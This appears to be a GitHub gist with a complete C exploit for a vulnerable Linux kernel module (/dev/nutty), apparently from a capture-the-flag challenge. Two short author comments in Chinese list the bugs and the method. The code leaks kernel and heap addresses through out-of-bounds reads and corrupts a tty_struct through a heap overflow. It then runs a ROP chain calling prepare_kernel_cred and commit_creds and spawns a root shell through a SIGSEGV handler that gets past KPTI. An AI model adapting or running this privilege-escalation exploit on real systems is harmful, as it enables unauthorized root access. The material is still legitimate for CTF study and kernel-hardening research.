Skip to content

Instantly share code, notes, and snippets.

@Mech0n
Last active April 9, 2021 02:22
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Mech0n/e37b65f51222e3e33083f4e618c02194 to your computer and use it in GitHub Desktop.
Save Mech0n/e37b65f51222e3e33083f4e618c02194 to your computer and use it in GitHub Desktop.
SIGSEGV && tty_struct
#define _GNU_SOURCE
#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <poll.h>
#include <unistd.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <sys/shm.h>
#include <sys/xattr.h>
#include <sys/socket.h>
#define errExit(msg) \
do \
{ \
perror("[ERROR EXIT]\n"); \
perror(msg); \
exit(EXIT_FAILURE); \
} while (0)
#define WAIT(msg) \
puts(msg); \
fgetc(stdin);
typedef struct req
{
int idx;
int size;
char *contents;
int content_length;
char *show_buffer;
} req;
#define PAGE 0x1000
#define CREATE 0x13371
#define DELETE 0x13372
#define SHOW 0x13373
#define APPEND 0x13374
unsigned long long user_cs, user_ss, user_sp, user_rflags;
int fd; // file descriptor
unsigned long long leak, kernbase, heapbase;
unsigned long long base = 0xffffffff8107e880;
void pop_shell(void)
{
char *argv[] = {"/bin/sh", NULL};
char *envp[] = {NULL};
execve("/bin/sh", argv, envp);
}
static void save_state(void)
{
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %2\n"
"pushfq\n"
"popq %3\n"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_sp), "=r"(user_rflags)
:
: "memory");
}
unsigned long long calc(unsigned long long addr)
{
return addr - base + kernbase;
}
int create(int size, char *contents, int content_length)
{
req one;
one.size = size;
one.contents = contents;
one.content_length = content_length;
return ioctl(fd, CREATE, &one);
}
int delete (int idx)
{
req one;
one.idx = idx;
return ioctl(fd, DELETE, &one);
}
int show(int idx, char *show_buffer)
{
req one;
one.idx = idx;
one.show_buffer = show_buffer;
return ioctl(fd, SHOW, &one);
}
int append(int idx, int size, char *contents)
{
req one;
one.idx = idx;
one.contents = contents;
one.size = size;
return ioctl(fd, APPEND, &one);
}
int main(int argc, char const *argv[])
{
signal(SIGSEGV, pop_shell);
save_state();
fd = open("/dev/nutty", 0);
unsigned long long buf[0x300] = {0};
unsigned long long tmp[0x300] = {0};
buf[0] = 0xDEADBEAFDEADBEAF;
create(0x60, buf, 0x60); // nut[0]
create(0x60, buf, 0); // nut[1]
socket(22, AF_INET, 0);
delete (1);
delete (0);
create(0x100, buf, 0x60); // nut[0]
memset(buf, 0, sizeof(buf));
show(0, buf);
printf("[*] Leak call_usermodehelper_exec_work addr : %#llx\n", buf[15]);
kernbase = buf[15];
printf("[*] Get RIP : %#llx\n", calc(0xffffffff8100cf31));
// 0xffffffff8100cf31: leave; ret;
memset(buf, 0, sizeof(buf));
create(1023, buf, 1023); // nut[1]
create(1023, buf, 1023); // nut[2]
delete (2);
create(1023, buf, 0); // nut[2]
show(2, buf);
heapbase = buf[64];
printf("[*] Leak tty_struct chunk addr : %#llx\n", buf[64]);
int victim = open("/dev/ptmx", O_RDWR | O_NOCTTY);
memset(buf, 0, sizeof(buf));
create(0x80, buf, 0x80); // nut[3]
create(0x80, buf, 0x80); // nut[4]
buf[0x18] = heapbase;
create(0x80 + 75, buf, 0x80 + 75); // nut[5]
delete (4);
delete (3);
append(5, 0x500, buf);
create(0x80, buf, 0); // nut[3]
create(0x80, buf, 0); // nut[4] => tty_struct
show(4, buf);
create(64, tmp, 64); // nut[6]
create(64, tmp, 64); // nut[7]
for (int i = 0; i < 13; i++)
tmp[i] = heapbase;
create(64 + 75, tmp, 64 + 75); // but[8]
delete (7);
delete (6);
append(8, 0x500, tmp);
buf[1] = calc(0xffffffff814236d7); // 0xffffffff815c5c8e: pop rbp; pop rsp; sub ecx, 0xfffeb01a; ret;
buf[3] = heapbase + 0x400;
create(64, buf, 64); // nut[6] => tty_struct
delete (2);
delete (1);
memset(buf, 0, sizeof(buf));
// for(int i = 0; i < 20; i++)
// buf[i] = 0xdeadbeaf;
buf[0] = calc(0xffffffff81001bdd); // 0xffffffff81001bdd: pop rdi ; ret ;
buf[1] = 0;
buf[2] = calc(0xffffffff8108c3c0); // prepare_kernel_cred
buf[3] = calc(0xffffffff810557b5); // 0xffffffff810557b5: pop rcx; ret;
buf[4] = 0;
buf[5] = calc(0xffffffff81a2474b); // 0xffffffff81a2474b: mov rdi, rax; rep movsq qword ptr [rdi], qword ptr [rsi]; ret;
buf[6] = calc(0xffffffff8108c190); // ffffffff8108c190 T commit_creds
buf[7] = calc(0xffffffff810557b5); // 0xffffffff810557b5: pop rcx; ret;
buf[8] = 0;
buf[9] = calc(0xffffffff810557b5); // 0xffffffff810557b5: pop rcx; ret;
buf[10] = 0;
buf[11] = calc(0xffffffff810557b5); // 0xffffffff810557b5: pop rcx; ret;
buf[12] = calc(0xffffffff8100cf31); // 0xffffffff8100cf31: leave; ret;
buf[13] = calc(0xffffffff810557b5); // 0xffffffff810557b5: pop rcx; ret;
buf[14] = 0;
buf[15] = calc(0xffffffff81a23d42); // 0xffffffff81a23d42: swapgs; ret;
buf[16] = calc(0xffffffff81026a7b); // 0xffffffff81026a7b: iretq; ret;
buf[17] = &pop_shell;
buf[18] = user_cs;
buf[19] = user_rflags;
buf[20] = user_sp;
buf[21] = user_ss;
create(1023, buf, 1023);
printf("[*] Get RIP : %#llx\n", calc(0xffffffff8100cf31));
puts("[*] ROPing");
ioctl(victim, buf, heapbase + 0x400);
return 0;
}
// ffffffff8108c190 T commit_creds
// ffffffff8108c3c0 T prepare_kernel_cred
// ffffffff8107e880 t call_usermodehelper_exec_work
// vulnmod 16384 0 - Live 0xffffffffc0000000 (O)
// 0xffffffff81001bdd: pop rdi; ret;
// 0xffffffff8100cf31: leave; ret;
// 0xffffffff815c5c8e: pop rbp; pop rsp; sub ecx, 0xfffeb01a; ret;
// 0xffffffff81001bdd: pop rdi; ret;
// 0xffffffff81a23d42: swapgs; ret;
// 0xffffffff81026a7b: iretq; ret;
// 0xffffffff814236d7: pop rbp; add byte ptr [rbp + 0x41], bl; pop rsp; ret;
// b *0xffffffffc000003b
// b *0xffffffffc0000292
// b *0xffffffffc000012f
// b *0xffffffffc0000371
// b *0xffffffff813fb156
@Mech0n
Copy link
Author

Mech0n commented Mar 16, 2021

  • append 如果使new_size > 1024 会被返回-EOVERFLOW ,即-75,可以利用这个来越写堆,造成堆溢出。
  • create的时候,如果size > length会造成越界读。

@Mech0n
Copy link
Author

Mech0n commented Mar 16, 2021

  • 越界读泄漏kernbase
  • 越界写造成UAF
  • tty_struct 来ROP
  • SIGSEGV来绕过KPTI

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment